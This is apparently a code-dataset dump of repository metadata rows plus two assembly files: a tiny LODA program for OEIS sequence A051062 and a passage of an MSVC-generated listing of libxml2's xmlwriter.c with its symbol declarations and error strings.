52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 */
36.517949
2,999
0.656649
7256e917d899786b521f0a0cbaeba758386b3757
265
asm
Assembly
programs/oeis/051/A051062.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/051/A051062.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/051/A051062.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A051062: a(n) = 16*n + 8. ; 8,24,40,56,72,88,104,120,136,152,168,184,200,216,232,248,264,280,296,312,328,344,360,376,392,408,424,440,456,472,488,504,520,536,552,568,584,600,616,632,648,664,680,696,712,728,744,760,776,792,808,824,840 mov $1,$0 mul $1,16 add $1,8
37.857143
206
0.683019
f81fce3264d6a13bef08c5ccee837701cb46b036
323,141
asm
Assembly
win32/VC10/Win32/libxml2_Release/xmlwriter.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
win32/VC10/Win32/libxml2_Release/xmlwriter.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
win32/VC10/Win32/libxml2_Release/xmlwriter.asm
txwizard/libxml2_x64_and_ARM
bc19a931370a09ee379d641a7c9a862fecebff3b
[ "MIT" ]
null
null
null
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27027.1 TITLE C:\Users\DAG\Documents\_Clients\CodeProject Authors Group\Windows on ARM\libxml2\libxml2-2.9.9\xmlwriter.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRT INCLUDELIB OLDNAMES _DATA SEGMENT COMM _xmlMalloc:DWORD COMM _xmlMallocAtomic:DWORD COMM _xmlRealloc:DWORD COMM _xmlFree:DWORD COMM _xmlMemStrdup:DWORD COMM _forbiddenExp:DWORD COMM _emptyExp:DWORD _DATA ENDS msvcjmc SEGMENT __188180DA_corecrt_math@h DB 01H __2CC6E67D_corecrt_stdio_config@h DB 01H __05476D76_corecrt_wstdio@h DB 01H __A452D4A0_stdio@h DB 01H __4384A2D9_corecrt_memcpy_s@h DB 01H __4E51A221_corecrt_wstring@h DB 01H __2140C079_string@h DB 01H __DA396148_xmlwriter@c DB 01H msvcjmc ENDS PUBLIC ___local_stdio_printf_options PUBLIC _xmlNewTextWriter PUBLIC _xmlNewTextWriterFilename PUBLIC _xmlNewTextWriterMemory PUBLIC _xmlNewTextWriterPushParser PUBLIC _xmlNewTextWriterDoc PUBLIC _xmlNewTextWriterTree PUBLIC _xmlFreeTextWriter PUBLIC _xmlTextWriterStartDocument PUBLIC _xmlTextWriterEndDocument PUBLIC _xmlTextWriterStartComment PUBLIC _xmlTextWriterEndComment PUBLIC _xmlTextWriterWriteFormatComment PUBLIC _xmlTextWriterWriteVFormatComment PUBLIC _xmlTextWriterWriteComment PUBLIC _xmlTextWriterStartElement PUBLIC _xmlTextWriterStartElementNS PUBLIC _xmlTextWriterEndElement PUBLIC _xmlTextWriterFullEndElement PUBLIC _xmlTextWriterWriteFormatElement PUBLIC _xmlTextWriterWriteVFormatElement PUBLIC _xmlTextWriterWriteElement PUBLIC _xmlTextWriterWriteFormatElementNS PUBLIC _xmlTextWriterWriteVFormatElementNS PUBLIC _xmlTextWriterWriteElementNS PUBLIC _xmlTextWriterWriteFormatRaw PUBLIC _xmlTextWriterWriteVFormatRaw PUBLIC _xmlTextWriterWriteRawLen PUBLIC _xmlTextWriterWriteRaw PUBLIC _xmlTextWriterWriteFormatString PUBLIC _xmlTextWriterWriteVFormatString PUBLIC _xmlTextWriterWriteString PUBLIC _xmlTextWriterWriteBase64 PUBLIC _xmlTextWriterWriteBinHex PUBLIC _xmlTextWriterStartAttribute PUBLIC _xmlTextWriterStartAttributeNS PUBLIC _xmlTextWriterEndAttribute PUBLIC _xmlTextWriterWriteFormatAttribute PUBLIC _xmlTextWriterWriteVFormatAttribute PUBLIC _xmlTextWriterWriteAttribute PUBLIC _xmlTextWriterWriteFormatAttributeNS PUBLIC _xmlTextWriterWriteVFormatAttributeNS PUBLIC _xmlTextWriterWriteAttributeNS PUBLIC _xmlTextWriterStartPI PUBLIC _xmlTextWriterEndPI PUBLIC _xmlTextWriterWriteFormatPI PUBLIC _xmlTextWriterWriteVFormatPI PUBLIC _xmlTextWriterWritePI PUBLIC _xmlTextWriterStartCDATA PUBLIC _xmlTextWriterEndCDATA PUBLIC _xmlTextWriterWriteFormatCDATA PUBLIC _xmlTextWriterWriteVFormatCDATA PUBLIC _xmlTextWriterWriteCDATA PUBLIC _xmlTextWriterStartDTD PUBLIC _xmlTextWriterEndDTD PUBLIC _xmlTextWriterWriteFormatDTD PUBLIC _xmlTextWriterWriteVFormatDTD PUBLIC _xmlTextWriterWriteDTD PUBLIC _xmlTextWriterStartDTDElement PUBLIC _xmlTextWriterEndDTDElement PUBLIC _xmlTextWriterWriteFormatDTDElement PUBLIC _xmlTextWriterWriteVFormatDTDElement PUBLIC _xmlTextWriterWriteDTDElement PUBLIC _xmlTextWriterStartDTDAttlist PUBLIC _xmlTextWriterEndDTDAttlist PUBLIC _xmlTextWriterWriteFormatDTDAttlist PUBLIC _xmlTextWriterWriteVFormatDTDAttlist PUBLIC _xmlTextWriterWriteDTDAttlist PUBLIC _xmlTextWriterStartDTDEntity PUBLIC _xmlTextWriterEndDTDEntity PUBLIC _xmlTextWriterWriteFormatDTDInternalEntity PUBLIC _xmlTextWriterWriteVFormatDTDInternalEntity PUBLIC _xmlTextWriterWriteDTDInternalEntity PUBLIC _xmlTextWriterWriteDTDExternalEntity PUBLIC _xmlTextWriterWriteDTDExternalEntityContents PUBLIC _xmlTextWriterWriteDTDEntity PUBLIC _xmlTextWriterWriteDTDNotation PUBLIC _xmlTextWriterSetIndent PUBLIC _xmlTextWriterSetIndentString PUBLIC _xmlTextWriterSetQuoteChar PUBLIC _xmlTextWriterFlush PUBLIC __JustMyCode_Default PUBLIC ??_C@_02DKCKIIND@?$CFs@ ; `string' PUBLIC ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ ; `string' PUBLIC ??_C@_01CLKCMJKC@?5@ ; `string' PUBLIC ??_C@_0CM@BPKCIIPG@xmlNewTextWriterFilename?5?3?5cann@ ; `string' PUBLIC ??_C@_0CL@DOKHFPFK@xmlNewTextWriterFilename?5?3?5out?5@ ; `string' PUBLIC ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@ ; `string' PUBLIC ??_C@_0CP@MDJJPOLB@xmlNewTextWriterPushParser?5?3?5in@ ; `string' PUBLIC ??_C@_0EA@BHKIBNFO@xmlNewTextWriterPushParser?5?3?5er@ ; `string' PUBLIC ??_C@_0DJ@DOJNHAEH@xmlNewTextWriterPushParser?5?3?5er@ ; `string' PUBLIC ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@ ; `string' PUBLIC ??_C@_03HLLJOCDO@1?40@ ; `string' PUBLIC ??_C@_0CL@MKPGDELP@xmlNewTextWriterDoc?5?3?5error?5at?5@ ; `string' PUBLIC ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@ ; `string' PUBLIC ??_C@_0CP@PFMBJEMH@xmlNewTextWriterTree?5?3?5invalid?5@ ; `string' PUBLIC ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@ ; `string' PUBLIC ??_C@_0DL@JOCNHFIJ@xmlTextWriterStartDocument?5?3?5no@ ; `string' PUBLIC ??_C@_0CN@ODOCGFDE@xmlTextWriterStartDocument?5?3?5ou@ ; `string' PUBLIC ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@ ; `string' PUBLIC ??_C@_0L@GJNPICMJ@?5encoding?$DN@ ; `string' PUBLIC ??_C@_0N@BGGHLCGN@?5standalone?$DN@ ; `string' PUBLIC ??_C@_03KCOJOIAE@?$DP?$DO?6@ ; `string' PUBLIC ??_C@_0CM@MFAOOHEJ@xmlTextWriterEndDocument?5?3?5inva@ ; `string' PUBLIC ??_C@_01EEMJAFIK@?6@ ; `string' PUBLIC ??_C@_0CN@DOOOICJG@xmlTextWriterStartComment?5?3?5inv@ ; `string' PUBLIC ??_C@_01PPODPGHN@?$DO@ ; `string' PUBLIC ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@ ; `string' PUBLIC ??_C@_04FFDNBKGC@?$DM?$CB?9?9@ ; `string' PUBLIC ??_C@_0CL@GJMJAJAF@xmlTextWriterEndComment?5?3?5inval@ ; `string' PUBLIC ??_C@_0DI@MAGHMILC@xmlTextWriterEndComment?5?3?5not?5a@ ; `string' PUBLIC ??_C@_03PNLDJJMO@?9?9?$DO@ ; `string' PUBLIC ??_C@_0DE@JBFCJMHJ@xmlTextWriterWriteVFormatCommen@ ; `string' PUBLIC ??_C@_01MNNFJEPP@?$DM@ ; `string' PUBLIC ??_C@_01JLIPDDHJ@?3@ ; `string' PUBLIC ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@ ; `string' PUBLIC ??_C@_05PPEFOGKI@xmlns@ ; `string' PUBLIC ??_C@_02HCGKDMEN@?1?$DO@ ; `string' PUBLIC ??_C@_02DPNDACHE@?$DM?1@ ; `string' PUBLIC ??_C@_0CM@KBMCGCHN@xmlTextWriterWriteRawLen?5?3?5inva@ ; `string' PUBLIC ??_C@_0CN@MACOIGNG@xmlTextWriterWriteRawLen?5?3?5inva@ ; `string' PUBLIC ??_C@_02PCIJFNDE@?$AN?6@ ; `string' PUBLIC ??_C@_01NEMOKFLO@?$DN@ ; `string' PUBLIC ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@ ; `string' PUBLIC ??_C@_03PJHHNEEI@xml@ ; `string' PUBLIC ??_C@_0FG@KFBLHCOM@xmlTextWriterStartPI?5?3?5target?5n@ ; `string' PUBLIC ??_C@_0CD@KBFLMPAO@xmlTextWriterStartPI?5?3?5nested?5P@ ; `string' PUBLIC ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@ ; `string' PUBLIC ??_C@_02HFBBBACF@?$DM?$DP@ ; `string' PUBLIC ??_C@_02GOEMJPDN@?$DP?$DO@ ; `string' PUBLIC ??_C@_0DO@LGFOPFHE@xmlTextWriterStartCDATA?5?3?5CDATA@ ; `string' PUBLIC ??_C@_0CK@FMBLGDPB@xmlTextWriterStartCDATA?5?3?5out?5o@ ; `string' PUBLIC ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@ ; `string' PUBLIC ??_C@_03MCHNFBAC@?$FN?$FN?$DO@ ; `string' PUBLIC ??_C@_0DF@KCNCPLNC@xmlTextWriterStartDTD?5?3?5DTD?5all@ ; `string' PUBLIC ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@ ; `string' PUBLIC ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ ; `string' PUBLIC ??_C@_0DD@KKKOOJH@xmlTextWriterStartDTD?5?3?5system?5@ ; `string' PUBLIC ??_C@_07GAMBALOD@PUBLIC?5@ ; `string' PUBLIC ??_C@_07PBLMPJLL@SYSTEM?5@ ; `string' PUBLIC ??_C@_08HBIFNNEL@?6?5?5?5?5?5?5?5@ ; `string' PUBLIC ??_C@_01LBDDMOBJ@?$FN@ ; `string' PUBLIC ??_C@_02GBLMOEJC@?5?$FL@ ; `string' PUBLIC ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ ; `string' PUBLIC ??_C@_0L@EMLMHHFJ@?$DM?$CBELEMENT?5@ ; `string' PUBLIC ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@ ; `string' PUBLIC ??_C@_0L@NDHICKFH@?$DM?$CBATTLIST?5@ ; `string' PUBLIC ??_C@_09POADHIMD@?$DM?$CBENTITY?5@ ; `string' PUBLIC ??_C@_02KLLMIGEE@?$CF?5@ ; `string' PUBLIC ??_C@_0EI@DDDMEPLI@xmlTextWriterWriteDTDExternalEn@ ; `string' PUBLIC ??_C@_0HK@MIJHHHOH@xmlTextWriterWriteDTDExternalEn@ ; `string' PUBLIC ??_C@_0FM@COPKODIE@xmlTextWriterWriteDTDExternalEn@ ; `string' PUBLIC ??_C@_0EI@PKOPPIFG@xmlTextWriterWriteDTDExternalEn@ ; `string' PUBLIC ??_C@_08GBBLECIH@?5PUBLIC?5@ ; `string' PUBLIC ??_C@_07FCENLLFI@?5SYSTEM@ ; `string' PUBLIC ??_C@_07CGHGCOMH@?5NDATA?5@ ; `string' PUBLIC ??_C@_0M@IOFINGOM@?$DM?$CBNOTATION?5@ ; `string' PUBLIC ??_C@_0DA@HGAENLDC@xmlTextWriterWriteDocCallback?5?3@ ; `string' PUBLIC ??_C@_0DA@LOAGMMIC@xmlTextWriterCloseDocCallback?5?3@ ; `string' PUBLIC ??_C@_0CI@EEFGHMNP@xmlTextWriterVSprintf?5?3?5out?5of?5@ ; `string' PUBLIC ??_C@_0CE@EPNLGKMK@SAX?4startDocument?$CI?$CJ?3?5out?5of?5mem@ ; `string' EXTRN _xmlStrdup:PROC EXTRN _xmlStrcmp:PROC EXTRN _xmlStrcasecmp:PROC EXTRN _xmlStrlen:PROC EXTRN _xmlStrcat:PROC EXTRN __imp____stdio_common_vsprintf:PROC EXTRN _xmlNewDoc:PROC EXTRN _xmlFreeDoc:PROC EXTRN _xmlSetDocCompressMode:PROC EXTRN ___xmlRaiseError:PROC EXTRN _xmlListCreate:PROC EXTRN _xmlListDelete:PROC EXTRN _xmlListSearch:PROC EXTRN _xmlListEmpty:PROC EXTRN _xmlListFront:PROC EXTRN _xmlListSize:PROC EXTRN _xmlListPopFront:PROC EXTRN _xmlListPushFront:PROC EXTRN _xmlLinkGetData:PROC EXTRN _xmlEncodeSpecialChars:PROC EXTRN _xmlFindCharEncodingHandler:PROC EXTRN _xmlOutputBufferCreateFilename:PROC EXTRN _xmlOutputBufferCreateBuffer:PROC EXTRN _xmlOutputBufferCreateIO:PROC EXTRN _xmlOutputBufferWrite:PROC EXTRN _xmlOutputBufferWriteString:PROC EXTRN _xmlOutputBufferFlush:PROC EXTRN _xmlOutputBufferClose:PROC EXTRN _xmlFreeParserCtxt:PROC EXTRN _xmlCreatePushParserCtxt:PROC EXTRN _xmlParseChunk:PROC EXTRN _xmlSAX2StartElement:PROC EXTRN _xmlSAX2EndElement:PROC EXTRN _xmlSAX2InitDefaultSAXHandler:PROC EXTRN _xmlCanonicPath:PROC EXTRN _htmlNewDocNoDtD:PROC EXTRN _xmlBufCreateSize:PROC EXTRN _xmlCharEncOutput:PROC EXTRN _xmlBufAttrSerializeTxtContent:PROC EXTRN @__CheckForDebuggerJustMyCode@4:PROC EXTRN _memset:PROC _DATA SEGMENT COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage _DATA ENDS ; COMDAT ??_C@_0CE@EPNLGKMK@SAX?4startDocument?$CI?$CJ?3?5out?5of?5mem@ CONST SEGMENT ??_C@_0CE@EPNLGKMK@SAX?4startDocument?$CI?$CJ?3?5out?5of?5mem@ DB 'SAX.st' DB 'artDocument(): out of memory', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CI@EEFGHMNP@xmlTextWriterVSprintf?5?3?5out?5of?5@ CONST SEGMENT ??_C@_0CI@EEFGHMNP@xmlTextWriterVSprintf?5?3?5out?5of?5@ DB 'xmlTextWrite' DB 'rVSprintf : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DA@LOAGMMIC@xmlTextWriterCloseDocCallback?5?3@ CONST SEGMENT ??_C@_0DA@LOAGMMIC@xmlTextWriterCloseDocCallback?5?3@ DB 'xmlTextWriterCl' DB 'oseDocCallback : XML error %d !', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DA@HGAENLDC@xmlTextWriterWriteDocCallback?5?3@ CONST SEGMENT ??_C@_0DA@HGAENLDC@xmlTextWriterWriteDocCallback?5?3@ DB 'xmlTextWriterWr' DB 'iteDocCallback : XML error %d !', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@IOFINGOM@?$DM?$CBNOTATION?5@ CONST SEGMENT ??_C@_0M@IOFINGOM@?$DM?$CBNOTATION?5@ DB '<!NOTATION ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_07CGHGCOMH@?5NDATA?5@ CONST SEGMENT ??_C@_07CGHGCOMH@?5NDATA?5@ DB ' NDATA ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_07FCENLLFI@?5SYSTEM@ CONST SEGMENT ??_C@_07FCENLLFI@?5SYSTEM@ DB ' SYSTEM', 00H ; `string' CONST ENDS ; COMDAT ??_C@_08GBBLECIH@?5PUBLIC?5@ CONST SEGMENT ??_C@_08GBBLECIH@?5PUBLIC?5@ DB ' PUBLIC ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0EI@PKOPPIFG@xmlTextWriterWriteDTDExternalEn@ CONST SEGMENT ??_C@_0EI@PKOPPIFG@xmlTextWriterWriteDTDExternalEn@ DB 'xmlTextWriterWrit' DB 'eDTDExternalEntityContents: system identifier needed!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0FM@COPKODIE@xmlTextWriterWriteDTDExternalEn@ CONST SEGMENT ??_C@_0FM@COPKODIE@xmlTextWriterWriteDTDExternalEn@ DB 'xmlTextWriterWrit' DB 'eDTDExternalEntityContents: notation not allowed with paramet' DB 'er entities!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0HK@MIJHHHOH@xmlTextWriterWriteDTDExternalEn@ CONST SEGMENT ??_C@_0HK@MIJHHHOH@xmlTextWriterWriteDTDExternalEn@ DB 'xmlTextWriterWrit' DB 'eDTDExternalEntityContents: you must call xmlTextWriterStartD' DB 'TDEntity before the call to this function!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0EI@DDDMEPLI@xmlTextWriterWriteDTDExternalEn@ CONST SEGMENT ??_C@_0EI@DDDMEPLI@xmlTextWriterWriteDTDExternalEn@ DB 'xmlTextWriterWrit' DB 'eDTDExternalEntityContents: xmlTextWriterPtr invalid!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_02KLLMIGEE@?$CF?5@ CONST SEGMENT ??_C@_02KLLMIGEE@?$CF?5@ DB '% ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09POADHIMD@?$DM?$CBENTITY?5@ CONST SEGMENT ??_C@_09POADHIMD@?$DM?$CBENTITY?5@ DB '<!ENTITY ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0L@NDHICKFH@?$DM?$CBATTLIST?5@ CONST SEGMENT ??_C@_0L@NDHICKFH@?$DM?$CBATTLIST?5@ DB '<!ATTLIST ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@ CONST SEGMENT ??_C@_0CP@EGINGCOH@xmlTextWriterStartDTDAttlist?5?3?5@ DB 'xmlTextWriterS' DB 'tartDTDAttlist : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0L@EMLMHHFJ@?$DM?$CBELEMENT?5@ CONST SEGMENT ??_C@_0L@EMLMHHFJ@?$DM?$CBELEMENT?5@ DB '<!ELEMENT ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ CONST SEGMENT ??_C@_0CP@HLOPJJJB@xmlTextWriterStartDTDElement?5?3?5@ DB 'xmlTextWriterS' DB 'tartDTDElement : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_02GBLMOEJC@?5?$FL@ CONST SEGMENT ??_C@_02GBLMOEJC@?5?$FL@ DB ' [', 00H ; `string' CONST ENDS ; COMDAT ??_C@_01LBDDMOBJ@?$FN@ CONST SEGMENT ??_C@_01LBDDMOBJ@?$FN@ DB ']', 00H ; `string' CONST ENDS ; COMDAT ??_C@_08HBIFNNEL@?6?5?5?5?5?5?5?5@ CONST SEGMENT ??_C@_08HBIFNNEL@?6?5?5?5?5?5?5?5@ DB 0aH, ' ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_07PBLMPJLL@SYSTEM?5@ CONST SEGMENT ??_C@_07PBLMPJLL@SYSTEM?5@ DB 'SYSTEM ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_07GAMBALOD@PUBLIC?5@ CONST SEGMENT ??_C@_07GAMBALOD@PUBLIC?5@ DB 'PUBLIC ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DD@KKKOOJH@xmlTextWriterStartDTD?5?3?5system?5@ CONST SEGMENT ??_C@_0DD@KKKOOJH@xmlTextWriterStartDTD?5?3?5system?5@ DB 'xmlTextWriterS' DB 'tartDTD : system identifier needed!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ CONST SEGMENT ??_C@_0L@JKHDJBPI@?$DM?$CBDOCTYPE?5@ DB '<!DOCTYPE ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@ CONST SEGMENT ??_C@_0CI@CDIDIABN@xmlTextWriterStartDTD?5?3?5out?5of?5@ DB 'xmlTextWrite' DB 'rStartDTD : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DF@KCNCPLNC@xmlTextWriterStartDTD?5?3?5DTD?5all@ CONST SEGMENT ??_C@_0DF@KCNCPLNC@xmlTextWriterStartDTD?5?3?5DTD?5all@ DB 'xmlTextWriter' DB 'StartDTD : DTD allowed only in prolog!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_03MCHNFBAC@?$FN?$FN?$DO@ CONST SEGMENT ??_C@_03MCHNFBAC@?$FN?$FN?$DO@ DB ']]>', 00H ; `string' CONST ENDS ; COMDAT ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@ CONST SEGMENT ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@ DB '<![CDATA[', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CK@FMBLGDPB@xmlTextWriterStartCDATA?5?3?5out?5o@ CONST SEGMENT ??_C@_0CK@FMBLGDPB@xmlTextWriterStartCDATA?5?3?5out?5o@ DB 'xmlTextWriter' DB 'StartCDATA : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DO@LGFOPFHE@xmlTextWriterStartCDATA?5?3?5CDATA@ CONST SEGMENT ??_C@_0DO@LGFOPFHE@xmlTextWriterStartCDATA?5?3?5CDATA@ DB 'xmlTextWriterS' DB 'tartCDATA : CDATA not allowed in this context!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_02GOEMJPDN@?$DP?$DO@ CONST SEGMENT ??_C@_02GOEMJPDN@?$DP?$DO@ DB '?>', 00H ; `string' CONST ENDS ; COMDAT ??_C@_02HFBBBACF@?$DM?$DP@ CONST SEGMENT ??_C@_02HFBBBACF@?$DM?$DP@ DB '<?', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@ CONST SEGMENT ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@ DB 'xmlTextWrite' DB 'rStartPI : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CD@KBFLMPAO@xmlTextWriterStartPI?5?3?5nested?5P@ CONST SEGMENT ??_C@_0CD@KBFLMPAO@xmlTextWriterStartPI?5?3?5nested?5P@ DB 'xmlTextWriter' DB 'StartPI : nested PI!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0FG@KFBLHCOM@xmlTextWriterStartPI?5?3?5target?5n@ CONST SEGMENT ??_C@_0FG@KFBLHCOM@xmlTextWriterStartPI?5?3?5target?5n@ DB 'xmlTextWriter' DB 'StartPI : target name [Xx][Mm][Ll] is reserved for xml standa' DB 'rdization!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_03PJHHNEEI@xml@ CONST SEGMENT ??_C@_03PJHHNEEI@xml@ DB 'xml', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@ CONST SEGMENT ??_C@_0DA@LBMIIMOH@xmlTextWriterStartAttributeNS?5?3@ DB 'xmlTextWriterSt' DB 'artAttributeNS : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_01NEMOKFLO@?$DN@ CONST SEGMENT ??_C@_01NEMOKFLO@?$DN@ DB '=', 00H ; `string' CONST ENDS ; COMDAT ??_C@_02PCIJFNDE@?$AN?6@ CONST SEGMENT ??_C@_02PCIJFNDE@?$AN?6@ DB 0dH, 0aH, 00H ; `string' CONST ENDS _DATA SEGMENT ?dtable@?1??xmlOutputBufferWriteBase64@@9@9 DB 041H ; `xmlOutputBufferWriteBase64'::`2'::dtable DB 042H DB 043H DB 044H DB 045H DB 046H DB 047H DB 048H DB 049H DB 04aH DB 04bH DB 04cH DB 04dH DB 04eH DB 04fH DB 050H DB 051H DB 052H DB 053H DB 054H DB 055H DB 056H DB 057H DB 058H DB 059H DB 05aH DB 061H DB 062H DB 063H DB 064H DB 065H DB 066H DB 067H DB 068H DB 069H DB 06aH DB 06bH DB 06cH DB 06dH DB 06eH DB 06fH DB 070H DB 071H DB 072H DB 073H DB 074H DB 075H DB 076H DB 077H DB 078H DB 079H DB 07aH DB 030H DB 031H DB 032H DB 033H DB 034H DB 035H DB 036H DB 037H DB 038H DB 039H DB 02bH DB 02fH ?hex@?1??xmlOutputBufferWriteBinHex@@9@9 DB 030H ; `xmlOutputBufferWriteBinHex'::`2'::hex DB 031H DB 032H DB 033H DB 034H DB 035H DB 036H DB 037H DB 038H DB 039H DB 041H DB 042H DB 043H DB 044H DB 045H DB 046H _DATA ENDS ; COMDAT ??_C@_0CN@MACOIGNG@xmlTextWriterWriteRawLen?5?3?5inva@ CONST SEGMENT ??_C@_0CN@MACOIGNG@xmlTextWriterWriteRawLen?5?3?5inva@ DB 'xmlTextWriterW' DB 'riteRawLen : invalid content!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CM@KBMCGCHN@xmlTextWriterWriteRawLen?5?3?5inva@ CONST SEGMENT ??_C@_0CM@KBMCGCHN@xmlTextWriterWriteRawLen?5?3?5inva@ DB 'xmlTextWriterW' DB 'riteRawLen : invalid writer!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_02DPNDACHE@?$DM?1@ CONST SEGMENT ??_C@_02DPNDACHE@?$DM?1@ DB '</', 00H ; `string' CONST ENDS ; COMDAT ??_C@_02HCGKDMEN@?1?$DO@ CONST SEGMENT ??_C@_02HCGKDMEN@?1?$DO@ DB '/>', 00H ; `string' CONST ENDS ; COMDAT ??_C@_05PPEFOGKI@xmlns@ CONST SEGMENT ??_C@_05PPEFOGKI@xmlns@ DB 'xmlns', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@ CONST SEGMENT ??_C@_0CO@MGJEFOHO@xmlTextWriterStartElementNS?5?3?5o@ DB 'xmlTextWriterS' DB 'tartElementNS : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_01JLIPDDHJ@?3@ CONST SEGMENT ??_C@_01JLIPDDHJ@?3@ DB ':', 00H ; `string' CONST ENDS ; COMDAT ??_C@_01MNNFJEPP@?$DM@ CONST SEGMENT ??_C@_01MNNFJEPP@?$DM@ DB '<', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DE@JBFCJMHJ@xmlTextWriterWriteVFormatCommen@ CONST SEGMENT ??_C@_0DE@JBFCJMHJ@xmlTextWriterWriteVFormatCommen@ DB 'xmlTextWriterWrit' DB 'eVFormatComment : invalid writer!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_03PNLDJJMO@?9?9?$DO@ CONST SEGMENT ??_C@_03PNLDJJMO@?9?9?$DO@ DB '-->', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DI@MAGHMILC@xmlTextWriterEndComment?5?3?5not?5a@ CONST SEGMENT ??_C@_0DI@MAGHMILC@xmlTextWriterEndComment?5?3?5not?5a@ DB 'xmlTextWriter' DB 'EndComment : not allowed in this context!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CL@GJMJAJAF@xmlTextWriterEndComment?5?3?5inval@ CONST SEGMENT ??_C@_0CL@GJMJAJAF@xmlTextWriterEndComment?5?3?5inval@ DB 'xmlTextWriterE' DB 'ndComment : invalid writer!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_04FFDNBKGC@?$DM?$CB?9?9@ CONST SEGMENT ??_C@_04FFDNBKGC@?$DM?$CB?9?9@ DB '<!--', 00H ; `string' CONST ENDS ; COMDAT 